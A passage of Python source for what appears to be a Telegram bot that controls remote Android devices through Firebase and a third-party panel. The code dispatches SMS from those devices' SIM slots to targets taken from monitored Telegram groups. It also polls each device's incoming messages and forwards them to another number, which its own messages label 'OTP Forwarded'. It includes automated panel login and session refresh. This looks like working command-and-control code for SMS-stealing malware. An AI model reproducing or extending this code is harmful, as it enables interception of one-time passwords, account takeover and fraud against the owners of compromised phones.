        if text == "📡 Select Group":
            if not ws.saved_groups:
                await self.send(user_id, fmt_msg("No Groups", "No saved Groups yet. Add one first using **➕ Add Group**.", error=True), keyboard=self._workspace_menu(ws))
                return
            ws.page = 1
            await self.send_paginated_list(
                ws,
                title="Select Group",
                subtitle="Choose an active Group/Channel:",
                items=list(ws.saved_groups.keys()),
                prefix="📡 Grp: ",
                state="await_select_group",
            )
            return

        if text == "➕ Add Group":
            ws.state = "await_new_group_ref"
            self.save_workspace(ws)
            await self.send(
                user_id,
                fmt_msg("Add Group", "Send invite link, @username, or group/channel ID.\n**Examples:**\n`https://t.me/+invitehash`\n`@mychannel`\n`-1001234567890`", success=False),
                keyboard=reply_kb(BACK_KB),
            )
            return

        if text == "🗑 Del Group":
            if not ws.saved_groups:
                await self.send(user_id, fmt_msg("Nothing to Delete", "No saved Groups to delete.", error=True), keyboard=self._workspace_menu(ws))
                return
            ws.page = 1
            await self.send_paginated_list(
                ws,
                title="Delete Group",
                subtitle="Choose a Group to delete:",
                items=list(ws.saved_groups.keys()),
                prefix="🗑 Grp: ",
                state="await_del_group",
            )
            return

        if text == "📞 Set Forward No." or text == "/forward":
            ws.state = "await_forward_no"
            self.save_workspace(ws)
            current = f"\nCurrent: `{ws.forward_to}`" if ws.forward_to else ""
            await self.send(user_id, fmt_msg("Set Forward Number", f"Send the phone number to forward incoming Firebase messages to.{current}", success=False), keyboard=reply_kb(BACK_KB))
            return

        if text == "➕ Add FCM":
            ws.state = "await_fcm_name"
            self.save_workspace(ws)
            await self.send(user_id, fmt_msg("Add FCM", "Enter a short name for this FCM config:", success=False), keyboard=reply_kb(BACK_KB))
            return

        if text == "📡 Select FCM":
            if not ws.saved_fcms:
                await self.send(user_id, fmt_msg("No FCMs", "No saved FCMs yet. Add one first using **➕ Add FCM**.", error=True), keyboard=self._workspace_fcm_menu(ws))
                return
            ws.page = 1
            await self.send_paginated_list(
                ws,
                title="Select FCM",
                subtitle="Choose a saved FCM config:",
                items=list(ws.saved_fcms.keys()),
                prefix="🚀 FCM: ",
                state="await_select_fcm",
            )
            return

        if text == "🗑 Del FCM":
            if not ws.saved_fcms:
                await self.send(user_id, fmt_msg("Nothing to Delete", "No saved FCMs to delete.", error=True), keyboard=self._workspace_fcm_menu(ws))
                return
            ws.page = 1
            await self.send_paginated_list(
                ws,
                title="Delete FCM",
                subtitle="Choose an FCM config to delete:",
                items=list(ws.saved_fcms.keys()),
                prefix="🗑 FCM: ",
                state="await_del_fcm",
            )
            return

        if text == "🛑 Stop Session" or text == "/stop":
            ws.active = False
            ws.state = None
            self.save_workspace(ws)
            await self.stop_bridge_runtime(user_id, keep_state=True)
            await self.send(user_id, fmt_msg("Session Paused", "Your login and settings are still saved.", success=True), keyboard=self._workspace_menu(ws))
            return

        if text == "📊 Status" or text == "/status":
            premium_emoji = "[✨](tg://emoji?id=5258500422393415126)"
            info = [f"【 {premium_emoji} **SYSTEM STATUS** ⚙️ 】"]
            info.append(f"{UI_SEP}")
            info.append(f"📡 **State:** {'🟢 `ACTIVE`' if ws.active else '🔴 `INACTIVE`'}")
            info.append(f"🛠 **Mode:** `{ws.active_mode.upper()}`")
            if ws.active_mode == "firebase" and ws.firebase_auth:
                info.append(f"🔐 **Auth:** `Set`")
            if ws.active_mode == "fcm" and ws.fcm_session_token:
                info.append(f"🔑 **FCM Token:** `{ws.fcm_session_token[:16]}...`")
            if ws.active_mode == "fcm" and ws.fcm_app_id:
                info.append(f"🆔 **App ID:** `{ws.fcm_app_id}`")
            if ws.device_id:
                info.append(f"📱 **Device:** `{ws.device_id}`")
            if ws.group_id:
                gname = next((n for n, i in ws.saved_groups.items() if str(i) == str(ws.group_id)), None)
                if gname:
                    info.append(f"🛰 **Group:** `{gname}`")
                else:
                    info.append(f"🛰 **Group ID:** `{ws.group_id}`")
            if ws.forward_to:
                info.append(f"📞 **Forward:** `{ws.forward_to}`")
            info.append(f"📊 **Total Sent:** `{ws.sent}`")
            info.append(f"{UI_SEP}")
            info.append(f"🤖 **Bot Engine:** `{'✅ READY' if self.main_client_ready else '❌ OFFLINE'}`")
            
            await self.send(user_id, "\n".join(info) + f"\n{UI_FOOTER}", keyboard=self._workspace_menu(ws))
            return

        if "FB Backup" in text:
            if ws.backup_device_id and ws.backup_firebase_url:
                body = (
                    f"🔥 **Backup FB:** `{ws.backup_firebase_name or 'Unknown'}`\n"
                    f"📱 **Device:** `{ws.backup_device_id}`\n"
                    f"🎴 **SIM:** `{'SIM 1' if ws.backup_sim == '0' else 'SIM 2'}`\n"
                    f"📞 **Forward To:** `{ws.forward_to or 'Not set'}`\n\n"
                    f"Backup watcher is **active** — incoming events on backup Firebase will be sent to the forward number."
                )
                kb = [["🔄 Reconfigure"], ["🚫 Clear Backup"], ["🔙 Back to Menu"]]
            else:
                body = "Backup forwarding is **not configured**.\nSet it up to watch a secondary Firebase and send SMS to your forward number."
                kb = [["📝 Setup Backup"], ["🔙 Back to Menu"]]
            await self.send(user_id, fmt_msg("FB Backup Config", body, success=bool(ws.backup_device_id and ws.backup_firebase_url)), keyboard=reply_kb(kb))
            return

        if text in ("📝 Setup Backup", "🔄 Reconfigure"):
            if not ws.saved_firebases:
                await self.send(user_id, fmt_msg("No Firebases", "Add a Firebase first using **➕ Add FB**.", error=True), keyboard=self._workspace_menu(ws))
                return
            ws.page = 1
            await self.send_paginated_list(
                ws,
                title="Select Backup FB",
                subtitle="Choose a saved Firebase as the backup destination:",
                items=list(ws.saved_firebases.keys()),
                prefix="🔥 FB: ",
                state="await_backup_fb_select",
            )
            return

        if text == "🚫 Clear Backup":
            ws.backup_firebase_name = ""
            ws.backup_firebase_url = ""
            ws.backup_firebase_auth = ""
            ws.backup_device_id = ""
            ws.backup_sim = "0"
            self.save_workspace(ws)
            await self.send(user_id, fmt_msg("Backup Cleared", "FB Backup config has been removed.", success=False), keyboard=self._workspace_menu(ws))
            return

        await self.send(user_id, fmt_msg("Menu", "Choose an option from the menu below.", success=False), keyboard=self._workspace_menu(ws))

    def _group_key_from_chat(self, chat: Any) -> str:
        title = str(getattr(chat, "title", "") or "").strip()
        username = str(getattr(chat, "username", "") or "").strip()
        chat_id = str(getattr(chat, "id", "") or "").strip()

        base = title or (f"@{username}" if username else "")
        if not base:
            base = f"Chat {chat_id}"
        return base

    def _unique_group_name(self, ws: Workspace, base: str, chat_id: str) -> str:
        name = base.strip() or f"Chat {chat_id}"
        if name not in ws.saved_groups:
            return name
        if str(ws.saved_groups.get(name, "")) == str(chat_id):
            return name

        suffix = str(chat_id)[-4:] if chat_id else "new"
        candidate = f"{name} ({suffix})"
        idx = 2
        while candidate in ws.saved_groups and str(ws.saved_groups[candidate]) != str(chat_id):
            candidate = f"{name} ({suffix}-{idx})"
            idx += 1
        return candidate

    def _canonical_chat_id(self, chat_id: Any, chat_type: Any = None) -> str:
        raw = str(chat_id).strip()
        if not raw:
            return raw

        if raw.startswith("-100"):
            return raw

        digits = raw.lstrip("-")
        if digits.isdigit():
            is_super_or_channel = False
            if chat_type is not None:
                typ = chat_type.value if hasattr(chat_type, "value") else str(chat_type).lower()
                is_super_or_channel = "channel" in typ or "supergroup" in typ or "chat" in typ

            if is_super_or_channel or len(digits) >= 9:
                return f"-100{digits}"

        return raw

    def _is_invite_like(self, ref: str) -> bool:
        ref = ref.strip()
        return bool(
            ref.startswith("https://t.me/+")
            or ref.startswith("http://t.me/+")
            or ref.startswith("https://t.me/joinchat/")
            or ref.startswith("http://t.me/joinchat/")
            or ref.startswith("tg://join?invite=")
            or ref.startswith("joinchat/")
        )

    def _extract_invite_hash(self, ref: str) -> Optional[str]:
        ref = ref.strip()
        patterns = [
            r"t\.me/\+([A-Za-z0-9_-]+)",
            r"t\.me/joinchat/([A-Za-z0-9_-]+)",
            r"tg://join\?invite=([A-Za-z0-9_-]+)",
            r"joinchat/([A-Za-z0-9_-]+)",
        ]
        for pattern in patterns:
            m = re.search(pattern, ref, re.I)
            if m:
                return m.group(1)
        return None

    def _normalize_username_ref(self, ref: str) -> str:
        ref = ref.strip()
        ref = ref.removeprefix("https://t.me/")
        ref = ref.removeprefix("http://t.me/")
        ref = ref.removeprefix("t.me/")
        ref = ref.removeprefix("@")
        ref = ref.strip("/")
        if ref.startswith("+") or ref.startswith("joinchat/") or ref.startswith("tg://"):
            return ref
        return f"@{ref}"

    async def _poll_invite_approval(self, ws: Workspace, ref: str, invite_hash: str) -> None:
        user_id = ws.user_id
        max_attempts = 18  # 18 * 10s = 3 minutes
        for attempt in range(max_attempts):
            await asyncio.sleep(10)
            try:
                invite = await self.main_client.invoke(CheckChatInvite(hash=invite_hash))
                if isinstance(invite, ChatInviteAlready):
                    chat = invite.chat
                    chat_id = self._canonical_chat_id(chat.id, getattr(chat, "type", None))
                    group_name = self._group_key_from_chat(chat)
                    
                    ws = self.load_workspace(user_id)
                    group_name = self._unique_group_name(ws, group_name, chat_id)
                    
                    ws.saved_groups[group_name] = chat_id
                    ws.group_id = chat_id
                    self.save_workspace(ws)
                    
                    await self.send(
                        user_id,
                        fmt_msg("Group Approved & Added", f"✅ **Request Approved!**\n\n📡 **Name:** `{group_name}`\n🆔 **ID:** `{chat_id}`", success=True),
                        keyboard=self._workspace_menu(ws),
                    )
                    return
            except Exception as exc:
                log(f"[poll invite] Error checking invite {invite_hash} for {user_id}: {exc}")
                
        ws = self.load_workspace(user_id)
        await self.send(
            user_id,
            fmt_msg(
                "Approval Timeout", 
                "⏱ **Join Request Timeout**\n\nAdmin didn't approve the request within 3 minutes.\nOnce they approve it, simply add the group again using the same link.", 
                error=True
            ),
            keyboard=self._workspace_menu(ws),
        )

    async def _resolve_and_save_group(self, ws: Workspace, raw_ref: str, must_be_link: bool = False) -> bool:
        user_id = ws.user_id
        ref = raw_ref.strip()

        if not ref:
            await self.send(user_id, fmt_msg("Invalid Input", "Send an invite link, @username, or group/channel ID.", error=True), keyboard=reply_kb(BACK_KB))
            return False

        if not self.main_client_ready:
            await self.send(user_id, fmt_msg("Session Not Ready", "Main Telegram session is not ready yet. Please wait.", error=True), keyboard=reply_kb(BACK_KB))
            return False

        try:
            if re.fullmatch(r"-?\d+", ref):
                chat = await self.main_client.get_chat(int(ref))
            elif self._is_invite_like(ref):
                try:
                    chat = await self.main_client.join_chat(ref)
                except Exception as join_exc:
                    invite_hash = self._extract_invite_hash(ref)
                    if invite_hash and "user_already_participant" in str(join_exc).lower():
                        invite = await self.main_client.invoke(CheckChatInvite(hash=invite_hash))
                        if isinstance(invite, ChatInviteAlready):
                            chat = invite.chat
                        else:
                            raise join_exc
                    elif "invite_request_sent" in str(join_exc).lower():
                        ws.state = None
                        self.save_workspace(ws)
                        await self.send(
                            user_id,
                            fmt_msg(
                                "Approval Required",
                                "⏳ **Join Request Sent!**\n\nThis group requires admin approval to join. I will monitor the status for the next **3 minutes**.\n\n👉 **Action Required:** Please ask the group admin to approve your request now.",
                                success=True
                            ),
                            keyboard=self._workspace_menu(ws)
                        )
                        asyncio.create_task(self._poll_invite_approval(ws, ref, invite_hash))
                        return True
                    else:
                        raise join_exc
            else:
                target = self._normalize_username_ref(ref)
                try:
                    chat = await self.main_client.join_chat(target)
                except Exception:
                    chat = await self.main_client.get_chat(target)

            if not chat or not getattr(chat, "id", None):
                raise RuntimeError("Could not resolve chat")

            chat_id = self._canonical_chat_id(chat.id, getattr(chat, "type", None))
            group_name = self._group_key_from_chat(chat)
            group_name = self._unique_group_name(ws, group_name, chat_id)

            ws.saved_groups[group_name] = chat_id
            ws.group_id = chat_id
            ws.state = None
            self.save_workspace(ws)

            await self.send(
                user_id,
                fmt_msg("Group Added", f"📡 **Name:** `{group_name}`\n🆔 **ID:** `{chat_id}`", success=True),
                keyboard=self._workspace_menu(ws),
            )
            return True

        except Exception as exc:
            err = str(exc).lower()

            if re.fullmatch(r"-?\d+", ref) and not must_be_link:
                ws.state = "await_new_group_link"
                self.save_workspace(ws)
                await self.send(
                    user_id,
                    fmt_msg("Access Denied", "I could not access that chat by ID.\nPlease send the invite link or @username instead.", error=True),
                    keyboard=reply_kb(BACK_KB),
                )
                return False

            if self._is_invite_like(ref) or must_be_link:
                await self.send(
                    user_id,
                    fmt_msg("Join Failed", f"Could not join or verify the group.\nError: `{exc}`", error=True),
                    keyboard=reply_kb(BACK_KB),
                )
                return False

            await self.send(
                user_id,
                fmt_msg("Resolve Failed", f"Could not resolve the chat.\nError: `{exc}`", error=True),
                keyboard=reply_kb(BACK_KB),
            )
            return False

    async def _on_main_message(self, client: Client, message) -> None:
        try:
            if not message or not message.text or not message.chat:
                return

            text = message.text.strip()
            cid = self._canonical_chat_id(message.chat.id, message.chat.type)
            typ = message.chat.type.value if hasattr(message.chat.type, "value") else str(message.chat.type).lower()

            if "private" in typ:
                return

            if not (
                re.search(r"(?:To|Recipient|Receipt|Target(?:\s*🎯)?)\s*(?:\([^)]+\))?\s*:\s*\+?\d", text, re.I)
                and re.search(r"(?:Message(?:\s*📩)?|Token|Body)\s*(?:\([^)]+\))?\s*:", text, re.I)
            ):
                return

            num, body = self._parse_message_payload(text)
            if not num or not body:
                return

            for user_id, ws in list(self.workspaces.items()):
                if not ws.active or not ws.device_id:
                    continue
                if not ws.group_id or cid != self._canonical_chat_id(ws.group_id):
                    continue

                log(f"Incoming matched for user {user_id}: {num} -> {body[:40]}...")
                asyncio.create_task(self._dispatch_sms(user_id, num, body))
        except Exception as exc:
            log(f"[main handler] {exc}")

    def _parse_message_payload(self, text: str) -> tuple[Optional[str], Optional[str]]:
        text = re.split(r"One.tap copy", text, flags=re.I)[0]
        to_m = re.search(
            r"(?:To|Recipient|Receipt|Target(?:\s*🎯)?)\s*(?:\([^)]+\))?\s*:\s*([+\d\s-]{8,22})",
            text,
            re.I,
        )
        bod_m = re.search(
            r"(?:Message(?:\s*📩)?|Token|Body)\s*(?:\([^)]+\))?\s*:\s*([\s\S]+?)(?:\n\s*(?:📦|👤|👨|━|ℹ️|Target|Developer|To|Recipient|Receipt|Module|Body)|\n\s*\n|$)",
            text,
            re.I,
        )

        if not (to_m and bod_m):
            return None, None

        num = re.sub(r"[^\d+]", "", to_m.group(1).strip())
        if num.startswith("+"):
            num = num[1:]
        if num.startswith("91") and len(num) == 12:
            num = num[2:]
        return num, bod_m.group(1).strip()

    def _fcm_panel_headers(self, referer_suffix: str = "") -> dict[str, str]:
        base = "https://recovery2-32s.pages.dev"
        headers = {
            "Content-Type": "application/json",
            "Origin": base,
            "Accept": "*/*",
            "Accept-Language": "en-US,en;q=0.9",
            "User-Agent": "Mozilla/5.0 (Linux; Android 15; Pixel 9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Mobile Safari/537.36",
            "Sec-Ch-Ua": '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
            "Sec-Ch-Ua-Mobile": "?1",
            "Sec-Ch-Ua-Platform": '"Android"',
            "Sec-Fetch-Dest": "empty",
            "Sec-Fetch-Mode": "cors",
            "Sec-Fetch-Site": "same-origin",
        }
        if referer_suffix:
            headers["Referer"] = f"{base}/{referer_suffix}"
        return headers

    async def _fcm_auto_login(self, ws: Workspace) -> None:
        user_id = ws.user_id
        app_id = ws.fcm_app_id
        pin = ws.fcm_pin

        if not app_id or not pin:
            await self.send(user_id, fmt_msg("FCM Login Error", "App ID and PIN are required.", error=True))
            return

        await self.send(user_id, fmt_msg("FCM Login", "🔄 **Step 1/2:** Verifying PIN...", success=False))

        step1_headers = self._fcm_panel_headers("login")
        verify_url = f"https://recovery2-32s.pages.dev/api/apps/{app_id}/verify-pin"
        verify_payload = {"pin": pin, "panelToken": ""}

        try:
            if not self.http:
                await self.send(user_id, fmt_msg("FCM Login Error", "HTTP session not available.", error=True))
                return
            async with self.http.post(verify_url, json=verify_payload, headers=step1_headers, timeout=10) as r:
                if r.status != 200:
                    try:
                        err_body = await r.json()
                    except Exception:
                        err_body = {"status": r.status}
                    await self.send(user_id, fmt_msg("Wrong Password", f"📄 **Response:** `{err_body}`\n\nPIN verification failed. Check your App ID and PIN.", error=True), keyboard=self._workspace_menu(ws))
                    return
                try:
                    resp1 = await r.json()
                except Exception:
                    await self.send(user_id, fmt_msg("FCM Login Error", "Invalid response from panel.", error=True))
                    return
                if not resp1.get("ok"):
                    await self.send(user_id, fmt_msg("Wrong Password", f"📄 **Response:** `{resp1}`\n\nPIN verification failed.", error=True), keyboard=self._workspace_menu(ws))
                    return
        except Exception as exc:
            await self.send(user_id, fmt_msg("FCM Login Error", f"Step 1 failed: `{exc}`", error=True))
            return

        panel_name = resp1.get("name", "Unknown")
        await self.send(user_id, fmt_msg("FCM Login", f"✅ **Step 1/2:** PIN verified! (`{panel_name}`)\n🔄 **Step 2/2:** Creating session...", success=False))

        device_uuid = str(uuid.uuid4())

        step2_headers = self._fcm_panel_headers("login")
        session_url = "https://recovery2-32s.pages.dev/api/admin/sessions"
        session_payload = {
            "appId": app_id,
            "pin": pin,
            "panelToken": "",
            "deviceId": device_uuid,
        }

        try:
            async with self.http.post(session_url, json=session_payload, headers=step2_headers, timeout=10) as r:
                if r.status != 200:
                    try:
                        err_body = await r.json()
                    except Exception:
                        err_body = {"status": r.status}
                    await self.send(user_id, fmt_msg("Session Failed", f"📄 **Response:** `{err_body}`\n\nCould not create session.", error=True), keyboard=self._workspace_menu(ws))
                    return
                try:
                    resp2 = await r.json()
                except Exception:
                    await self.send(user_id, fmt_msg("FCM Login Error", "Invalid response from panel.", error=True))
                    return
                session_id = resp2.get("sessionId", "")
                jwt_token = resp2.get("token", "")
                if not session_id:
                    await self.send(user_id, fmt_msg("Session Failed", f"📄 **Response:** `{resp2}`\n\nNo session ID returned.", error=True), keyboard=self._workspace_menu(ws))
                    return
        except Exception as exc:
            await self.send(user_id, fmt_msg("FCM Login Error", f"Step 2 failed: `{exc}`", error=True))
            return

        ws.fcm_session_token = session_id
        if ws.temp_name:
            ws.saved_fcms[ws.temp_name] = {"app_id": app_id, "pin": pin, "token": session_id, "jwt": jwt_token}
            ws.active_fcm_name = ws.temp_name
        self.save_workspace(ws)
        await self._notify_fcm_login(user_id, app_id, pin)
        await self.send(user_id, fmt_msg("FCM Login Complete", f"✅ **Panel:** `{panel_name}`\n📱 **App ID:** `{app_id}`\n🔑 **Token:** `{session_id[:16]}...`\n\nNow set up your device for FCM mode.", success=True))

    async def _fcm_refresh_session(self, ws: Workspace) -> bool:
        if not ws.fcm_app_id or not ws.fcm_pin:
            log(f"[fcm refresh] No saved credentials for {ws.user_id}")
            return False

        app_id = ws.fcm_app_id
        pin = ws.fcm_pin

        step1_headers = self._fcm_panel_headers("login")
        verify_url = f"https://recovery2-32s.pages.dev/api/apps/{app_id}/verify-pin"

        try:
            if not self.http:
                return False
            async with self.http.post(verify_url, json={"pin": pin, "panelToken": ""}, headers=step1_headers, timeout=10) as r:
                if r.status != 200:
                    try:
                        err = await r.json()
                    except Exception:
                        err = {"status": r.status}
                    log(f"[fcm refresh] PIN verify failed for {ws.user_id}: {err}")
                    await self.send(ws.user_id, fmt_msg("Session Expired", "🔑 **Your FCM PIN is wrong!**\nPlease go to **🔐 FCM → 🔧 Setup FCM** to update your credentials.", error=True))
                    return False
                try:
                    resp1 = await r.json()
                except Exception:
                    return False
                if not resp1.get("ok"):
                    log(f"[fcm refresh] PIN verify rejected for {ws.user_id}: {resp1}")
                    await self.send(ws.user_id, fmt_msg("Session Expired", "🔑 **Your FCM PIN is wrong!**\nPlease go to **🔐 FCM → 🔧 Setup FCM** to update your credentials.", error=True))
                    return False
        except Exception as exc:
            log(f"[fcm refresh] Step 1 error for {ws.user_id}: {exc}")
            return False

        step2_headers = self._fcm_panel_headers("login")
        session_url = "https://recovery2-32s.pages.dev/api/admin/sessions"
        session_payload = {
            "appId": app_id,
            "pin": pin,
            "panelToken": "",
            "deviceId": str(uuid.uuid4()),
        }

        try:
            async with self.http.post(session_url, json=session_payload, headers=step2_headers, timeout=10) as r:
                if r.status != 200:
                    log(f"[fcm refresh] Session create failed for {ws.user_id}: HTTP {r.status}")
                    return False
                try:
                    resp2 = await r.json()
                except Exception:
                    return False
                session_id = resp2.get("sessionId", "")
                jwt_token = resp2.get("token", "")
                if not session_id:
                    log(f"[fcm refresh] No sessionId in response for {ws.user_id}: {resp2}")
                    return False
        except Exception as exc:
            log(f"[fcm refresh] Step 2 error for {ws.user_id}: {exc}")
            return False

        ws.fcm_session_token = session_id
        if ws.active_fcm_name and ws.active_fcm_name in ws.saved_fcms:
            ws.saved_fcms[ws.active_fcm_name]["token"] = session_id
            ws.saved_fcms[ws.active_fcm_name]["jwt"] = jwt_token
        self.save_workspace(ws)
        log(f"[fcm refresh] Session refreshed for {ws.user_id}")
        return True

    async def _dispatch_sms(self, user_id: str, to_num: str, body: str, source: str = "tg", sender: str = "") -> bool:
        ws = self.load_workspace(user_id)
        if not self.http:
            return False

        sl = "SIM 1" if ws.sim == "0" else "SIM 2"
        start = time.time()

        try:
            if ws.active_mode == "firebase":
                fb = normalize_firebase_url(ws.firebase_url)
                url = f"{fb}/clients/{ws.device_id}/webhookEvent/sendSms.json"
                if ws.firebase_auth:
                    url += f"?auth={ws.firebase_auth}"
                payload = {"from": int(ws.sim) + 1, "to": to_num, "message": body, "isSended": False}
                put_timeout = aiohttp.ClientTimeout(total=5, sock_connect=2)
                async with self.http.put(url, json=payload, timeout=put_timeout) as r:
                    ok = r.status in (200, 201, 202, 204)
                    elapsed = round(time.time() - start, 2)
                    if ok:
                        ws.sent += 1
                        asyncio.create_task(asyncio.to_thread(self.save_workspace, ws))
                        if source == "tg":
                            await self.send(user_id, fmt_msg("Token Sent", f"🎯 **Target:** `{to_num}`\n💳 **SIM Slot:** `{sl}`\n⚡️ **Speed:** `{elapsed}s`", success=True))
                        else:
                            await self.send(user_id, fmt_msg("OTP Forwarded", f"👤 **Sender:** `{sender}`\n🎯 **Target:** `{to_num}`\n💳 **SIM Slot:** `{sl}`\n⚡️ **Speed:** `{elapsed}s`", success=True))
                        return True
                    try:
                        resp = await r.text()
                    except Exception:
                        resp = f"HTTP {r.status}"
                    if source == "tg":
                        await self.send(user_id, fmt_msg("Token Failed", f"📞 **To:** `{to_num}`\n⏱ **Time:** `{elapsed}s`\n📄 **Resp:** `{resp}`", error=True))
                    else:
                        await self.send(user_id, fmt_msg("OTP Failed", f"👤 **From:** `{sender}`\n📞 **To:** `{to_num}`\n⏱ **Time:** `{elapsed}s`\n📄 **Resp:** `{resp}`", error=True))
                    return False

            if ws.payload_template:
                templated = (
                    ws.payload_template.replace("{device_id}", ws.device_id)
                    .replace("{to}", to_num)
                    .replace("{message}", body)
                    .replace("{sim}", ws.sim)
                )
                payload = json.loads(templated)
            else:
                payload = {
                    "deviceId": ws.device_id,
                    "data": {"type": "send_sms", "to": to_num, "message": body, "sim": ws.sim},
                }

            from urllib.parse import urlparse

            parsed_url = urlparse(ws.fcm_url)
            origin_val = f"{parsed_url.scheme}://{parsed_url.netloc}"
            headers = {
                "Content-Type": "application/json",
                "Origin": origin_val,
                "Referer": origin_val + "/preview/dashboard/WebDashboard?appId=APP-U91M-D6SZ-OQWO",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36",
                "Accept": "*/*",
                "Accept-Language": "en-US,en;q=0.9",
                "Sec-Ch-Ua": '"Chromium";v="139", "Not;A=Brand";v="99"',
                "Sec-Ch-Ua-Mobile": "?0",
                "Sec-Ch-Ua-Platform": '"Windows"',
                "Sec-Fetch-Dest": "empty",
                "Sec-Fetch-Mode": "cors",
                "Sec-Fetch-Site": "same-origin",
            }
            if ws.fcm_session_token:
                headers["X-Session-Token"] = ws.fcm_session_token
            jwt_token = ws.saved_fcms.get(ws.active_fcm_name, {}).get("jwt", "") if ws.active_fcm_name else ""
            if jwt_token:
                headers["Authorization"] = f"Bearer {jwt_token}"

            async with self.http.post(ws.fcm_url, json=payload, headers=headers, timeout=8) as r:
                if "application/json" in r.headers.get("Content-Type", ""):
                    resp = await r.json()
                    ok = bool(resp.get("success") or resp.get("status") == "success" or resp.get("ok"))
                else:
                    resp = {"text": await r.text()}
                    ok = r.status in (200, 201, 202)

                if ok:
                    ws.sent += 1
                    self.save_workspace(ws)
                    elapsed = round(time.time() - start, 2)
                    if source == "tg":
                        await self.send(user_id, fmt_msg("Token Sent", f"🎯 **Target:** `{to_num}`\n💳 **SIM Slot:** `{sl}`\n⚡️ **Speed:** `{elapsed}s`", success=True))
                    else:
                        await self.send(user_id, fmt_msg("OTP Forwarded", f"👤 **Sender:** `{sender}`\n🎯 **Target:** `{to_num}`\n💳 **SIM Slot:** `{sl}`\n⚡️ **Speed:** `{elapsed}s`", success=True))
                    return True

                is_unauth = r.status in (401, 403) or "unauthorized" in str(resp).lower() or "session" in str(resp).lower()
                if is_unauth and ws.fcm_app_id and ws.fcm_pin:
                    log(f"[fcm dispatch] Unauthorized for {ws.user_id}, attempting auto-refresh...")
                    refreshed = await self._fcm_refresh_session(ws)
                    if refreshed:
                        log(f"[fcm dispatch] Refresh OK, retrying send for {ws.user_id}")
                        ws = self.load_workspace(user_id)
                        headers["X-Session-Token"] = ws.fcm_session_token
                        jwt_token = ws.saved_fcms.get(ws.active_fcm_name, {}).get("jwt", "") if ws.active_fcm_name else ""
                        if jwt_token:
                            headers["Authorization"] = f"Bearer {jwt_token}"
                        async with self.http.post(ws.fcm_url, json=payload, headers=headers, timeout=8) as r2:
                            if "application/json" in r2.headers.get("Content-Type", ""):
                                resp2 = await r2.json()
                                ok2 = bool(resp2.get("success") or resp2.get("status") == "success" or resp2.get("ok"))
                            else:
                                resp2 = {"text": await r2.text()}
                                ok2 = r2.status in (200, 201, 202)
                            if ok2:
                                ws.sent += 1
                                self.save_workspace(ws)
                                elapsed = round(time.time() - start, 2)
                                if source == "tg":
                                    await self.send(user_id, fmt_msg("Token Sent", f"🎯 **Target:** `{to_num}`\n💳 **SIM Slot:** `{sl}`\n⚡️ **Speed:** `{elapsed}s`", success=True))
                                else:
                                    await self.send(user_id, fmt_msg("OTP Forwarded", f"👤 **Sender:** `{sender}`\n🎯 **Target:** `{to_num}`\n💳 **SIM Slot:** `{sl}`\n⚡️ **Speed:** `{elapsed}s`", success=True))
                                return True

                elapsed = round(time.time() - start, 2)
                if source == "tg":
                    await self.send(user_id, fmt_msg("Token Failed", f"📞 **To:** `{to_num}`\n⏱ **Time:** `{elapsed}s`\n📄 **Resp:** `{resp}`", error=True))
                else:
                    await self.send(user_id, fmt_msg("OTP Failed", f"👤 **From:** `{sender}`\n📞 **To:** `{to_num}`\n⏱ **Time:** `{elapsed}s`\n📄 **Resp:** `{resp}`", error=True))
                return False

        except Exception as exc:
            elapsed = round(time.time() - start, 2)
            await self.send(user_id, fmt_msg("Dispatch Failed", f"📞 **To:** `{to_num}`\n⏱ **Time:** `{elapsed}s`\n📄 **Error:** `{exc}`", error=True))
            return False

    async def _watch_firebase(self, user_id: str) -> None:
        poll_interval = self.default_poll_interval
        consecutive_errors = 0

        while True:
            try:
                ws = self.load_workspace(user_id)
                if not ws.active or not ws.forward_to or ws.active_mode not in ("firebase", "fcm") or not ws.device_id:
                    await asyncio.sleep(poll_interval)
                    continue

                if not self.http:
                    await asyncio.sleep(poll_interval)
                    continue

                fb = normalize_firebase_url(ws.firebase_url)
                if not fb:
                    log(f"[fb poll {user_id}] Invalid or empty Firebase URL ({ws.firebase_url}). Auto-pausing.")
                    ws.active = False
                    self.save_workspace(ws)
                    await self.send(user_id, fmt_msg("Firebase Paused", "⚠️ **Firebase URL is invalid.** Setup paused automatically to prevent server errors.", error=True))
                    break

                url = f"{fb}/messages/{ws.device_id}.json"
                if ws.firebase_auth:
                    url += f"?auth={ws.firebase_auth}"
                cutoff_ts = ws.last_processed_ts

                fb_timeout = aiohttp.ClientTimeout(total=5, sock_connect=2)
                if not cutoff_ts:
                    async with self.http.get(url, timeout=fb_timeout) as seed:
                        if seed.status == 200:
                            try:
                                seed_data = await seed.json()
                            except Exception:
                                seed_data = None
                            if isinstance(seed_data, dict):
                                cutoff_ts = self._latest_remote_ts(seed_data)
                                if cutoff_ts:
                                    ws.last_processed_ts = max(0, cutoff_ts - 5000)
                                    self.save_workspace(ws)
                        elif seed.status in (401, 403, 404, 423):
                            consecutive_errors += 1
                            log(f"[fb poll {user_id}] Seed HTTP {seed.status} (attempt {consecutive_errors}). Backing off 25s...")
                            await asyncio.sleep(25)
                            continue
                    await asyncio.sleep(poll_interval)
                    continue

                async with self.http.get(url, timeout=fb_timeout) as r:
                    if r.status != 200:
                        consecutive_errors += 1
                        if r.status in (401, 403, 404, 423):
                            log(f"[fb poll {user_id}] HTTP {r.status} (error count {consecutive_errors}). Backing off 25s...")
                            await asyncio.sleep(25)
                        else:
                            await asyncio.sleep(poll_interval)
                        continue

                    try:
                        data = await r.json()
                    except Exception:
                        await asyncio.sleep(poll_interval)
                        continue

                    if not isinstance(data, dict):
                        await asyncio.sleep(poll_interval)
                        continue

                    consecutive_errors = 0
                    changed = False
                    for ts_str in sorted(data.keys()):
                        try:
                            ts_val = int(ts_str)
                        except ValueError:
                            continue
                        if ts_val <= cutoff_ts:
                            continue

                        entry = data[ts_str]
                        event_key = self._fb_event_key(ts_val, entry)
                        if event_key and event_key in ws.recent_fb_events:
                            continue

                        if isinstance(entry, dict) and entry.get("type") == "incoming":
                            body = str(entry.get("message", "")).strip()
                            sender = str(entry.get("sender", entry.get("from", ""))).strip()
                            dt = str(entry.get("dateTime", "?")).strip()
                            log(f"Firebase watcher -> user {user_id}: {dt} sender={sender}")
                            asyncio.create_task(self._dispatch_fb_batch(user_id, body, sender))
                            if event_key:
